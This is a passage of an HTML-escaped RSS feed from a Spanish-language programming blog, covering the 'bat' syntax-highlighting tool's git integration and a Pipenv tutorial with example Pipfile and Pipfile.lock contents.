style=&#34;color:#ff5c57&#34;&gt;amqp&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt;2.2.2&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;asn1crypto&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt;0.24.0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;attrs&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt;17.4.0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;Babel&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt;2.5.3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;BabelDjango&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt;0.2.2&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;bat-tiene-integracion-con-git&#34;&gt;Bat tiene integración con git&lt;/h2&gt;&#xA;&lt;p&gt;Bat se integra con &lt;em&gt;git&lt;/em&gt; y te muestra los horribles bugs cambios que has implementado en tu código. Agrega un símbolo + para lineas añadidas y un ~ para lineas modificadas.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% block content %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;header&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;class&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;navbar&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;role&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;navigation&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ~ &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;Parrafo modificado&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    + &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;Parrafo nuevo&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;header&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% endblock %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;¿Qué opinas? ¿Lo usarías? A mi me parece una herramienta bastante útil, sobre todo para entornos donde no se tiene una interfaz gráfica o si eres como yo y no te gusta esperar a que cargue el IDE.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;El otro día estaba buscando herramientas de resaltado de sintaxis y me topé con una herramienta bastante interesante llamada &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/sharkdp/bat&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;bat&lt;/a&gt;&#xA; (Sí, como murciélago en inglés), es básicamente el comando &lt;em&gt;cat&lt;/em&gt; de linux, pero con colores y otras funciones bastante interesantes. Y, como cereza del pastel, &lt;strong&gt;está programado en Rust.&lt;/strong&gt; En esta entrada te explico de forma corta como funciona y que es lo que puede hacer por ti.&lt;/p&gt;&#xA;&lt;h2 id=&#34;instalar-bat-desde-los-repositorios-en-linux&#34;&gt;Instalar bat desde los repositorios en linux&lt;/h2&gt;&#xA;&lt;p&gt;Puedes instalarlo directo desde los repositorios en las versiones más nuevas de Debian o sistemas derivados (Ubuntu).&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Pipenv: El administrador de entornos virtuales que NO conoces</title>
      <link>https://coffeebytes.dev/es/python/pipenv-el-administrador-de-entornos-virtuales-que-no-conoces/</link>
      <pubDate>Sat, 15 Aug 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/python/pipenv-el-administrador-de-entornos-virtuales-que-no-conoces/</guid>
      
      <category>python</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Desde que empecé a usar Python uso virtualenv y pip para manejar los entornos virtuales. Pero al leer &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/resena-de-django-for-professionals/&#34;&gt;Django for Professionals&lt;/a&gt;&#xA; me enteré de que existía una herramienta mejor que pip y virtualenv, llamada Pipenv (no se complicaron mucho con el nombre). Pipenv tiene características que la hacen mucho más robusta y sencilla de utilizar que virtualenv. En este tutorial de Pipenv paso a paso, te voy a explicar la instalación, uso, manejo de archivos y comandos básicos de esta herramienta.&lt;/p&gt;&#xA;&lt;p&gt;Primero, si ya has oído hablar de los entornos virtuales pero no sabes para que sirven tengo una entrada donde hablo sobre &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/por-que-deberias-usar-un-entorno-virtual-en-python/&#34;&gt;entornos virtuales en Python&lt;/a&gt;&#xA;. Por otro lado, si el nombre de &lt;em&gt;virtualenv&lt;/em&gt; te suena medio esotérico quizás quieras leer sobre &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/python-virtualenv-tutorial-basico-en-linux/&#34;&gt;virtualenv, el gestor de entornos virtuales de Python&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;pipenv-vs-virtualenv&#34;&gt;Pipenv vs virtualenv&lt;/h2&gt;&#xA;&lt;p&gt;Seguramente ya sabes que &lt;em&gt;pip&lt;/em&gt; es usado para manejar paquetes, pero generalmente deseamos tener los paquetes de cada una de nuestras aplicaciones aislados del resto del sistema, por lo que normalmente lo combinamos con &lt;em&gt;virtualenv&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Pip&lt;/em&gt; y &lt;em&gt;virtualenv&lt;/em&gt; se usan en conjunto para mantener las dependencias de un entorno virtual, pero pip puede llegar a producir entornos diferentes, incluso con un mismo archivo &lt;em&gt;requirements.txt&lt;/em&gt;, esto es algo que queremos evitar. El creador de &lt;em&gt;pipenv&lt;/em&gt; diseñó su herramienta intentando resolver esa problemática.&lt;/p&gt;&#xA;&lt;p&gt;Pipenv se encarga de unir a &lt;em&gt;pip&lt;/em&gt; y a &lt;em&gt;virtualenv&lt;/em&gt; en &lt;strong&gt;una sola herramienta&lt;/strong&gt;, además de asegurarse de que el archivo donde se listan las dependencias que se generan produzca &lt;strong&gt;exactamente la misma configuración de paquetes&lt;/strong&gt;, pipenv también permite cargar archivos variables de entorno directamente a partir de archivos &lt;em&gt;.env&lt;/em&gt; que se encuentren en la carpeta de trabajo donde nos encontremos.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;instalacion-y-uso-de-pipenv&#34;&gt;Instalación y uso de pipenv&lt;/h2&gt;&#xA;&lt;p&gt;Si estás en Debian o alguna distribución derivada (como Ubuntu) puedes probar suerte intentando instalarlo directamente de los repositorios.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt install pipenv&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si no se encuentra en los repositorios también podemos hacer uso de &lt;em&gt;pip&lt;/em&gt;, que ya viene instalado en la mayoría de las distribuciones.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo pip install pipenv&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Una vez instalado podemos empezar a instalar paquetes usando la opción &lt;em&gt;install&lt;/em&gt;, para este ejemplo probemos con una versión específica de Django.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install &lt;span style=&#34;color:#ff5c57&#34;&gt;django&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;===&lt;/span&gt;3.0.1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si hacemos un &lt;em&gt;ls&lt;/em&gt; podremos notar que se nos crearon dos archivos &lt;em&gt;Pipfile&lt;/em&gt; y &lt;em&gt;Pipfile.lock&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ls&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Pipfile  Pipfile.lock&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;¿Qué tienen estos archivos? Te lo explico a continuación. Primero vamos con el archivo Pipfile.&lt;/p&gt;&#xA;&lt;h2 id=&#34;para-que-sirve-el-archivo-pipfile-de-pipenv&#34;&gt;¿Para qué sirve el archivo Pipfile de Pipenv?&lt;/h2&gt;&#xA;&lt;p&gt;Empecemos viendo el contenido del archivo &lt;em&gt;Pipfile&lt;/em&gt;. Si tienes alguna dificultado con el uso de la linea de comandos te sugiero revisar las entradas donde hablo de los &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/comandos-basicos-de-linux-grep-ls-cd-history-cat-cp-rm-scp/&#34;&gt;comandos básicos de GNU/Linux.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cat Pipfile&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;[[&lt;/span&gt;source&lt;span style=&#34;color:#ff6ac1&#34;&gt;]]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;name&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pypi&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;url&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;https://pypi.org/simple&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;verify_ssl&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;true&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;dev-packages&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;packages&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;django&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;===3.0.1&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;requires&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;python_version&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;3.7&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Analizando el contenido apreciamos este archivo nos muestra varias categorias&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;source: la fuente de nuestros paquetes, con su nombre, url y si se usó encripción&lt;/li&gt;&#xA;&lt;li&gt;dev-packages: los paquetes de desarrollo, en este momento se encuentra vacio&lt;/li&gt;&#xA;&lt;li&gt;packages: los paquetes que hemos instalado y que se usarán en el proyecto&lt;/li&gt;&#xA;&lt;li&gt;requires: la versión de Python requerida para el proyecto, se especifica automáticamente o puedes hacerlo tu mismo&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install --dev pytest&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si hacemos un cat nuevamente veremos que debajo de la sección &lt;em&gt;[dev-packages]&lt;/em&gt; ya nos aparece &lt;em&gt;pytest&lt;/em&gt; como una dependencia.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cat Pipfile&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;[[&lt;/span&gt;source&lt;span style=&#34;color:#ff6ac1&#34;&gt;]]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;name&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pypi&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;url&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;https://pypi.org/simple&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;verify_ssl&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;true&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;dev-packages&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;pytest&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;*&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;packages&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;django&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;===3.0.1&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;requires&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;python_version&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;3.7&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;para-que-sirve-el-archivo-pipfilelock&#34;&gt;¿Para qué sirve el archivo Pipfile.lock?&lt;/h2&gt;&#xA;&lt;p&gt;Ahora hagamos un &lt;em&gt;cat&lt;/em&gt; a &lt;em&gt;Pipfile.lock&lt;/em&gt; y obtendremos el bloque de código inferior.&lt;/p&gt;&#xA;&lt;p&gt;El archivo puede parecer muy apantallante, pero son únicamente los hashes de los paquetes que instalamos, así como sus dependencias, de esta manera nos aseguramos de que las versiones que instalamos sean las correctas y además &lt;strong&gt;nos permitirá obtener exactamente la misma configuración de paquetes&lt;/strong&gt; si tomamos estos archivos y los llevamos a otra computadora.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cat Pipfile.lock&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;_meta&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;hash&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;sha256&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;c2bf0d0008c675fc08df79a9cdb6b94773be0defa60d2c5b8aae0142358aa574&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pipfile-spec&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;requires&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;python_version&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;3.7&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;sources&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pypi&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;url&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span 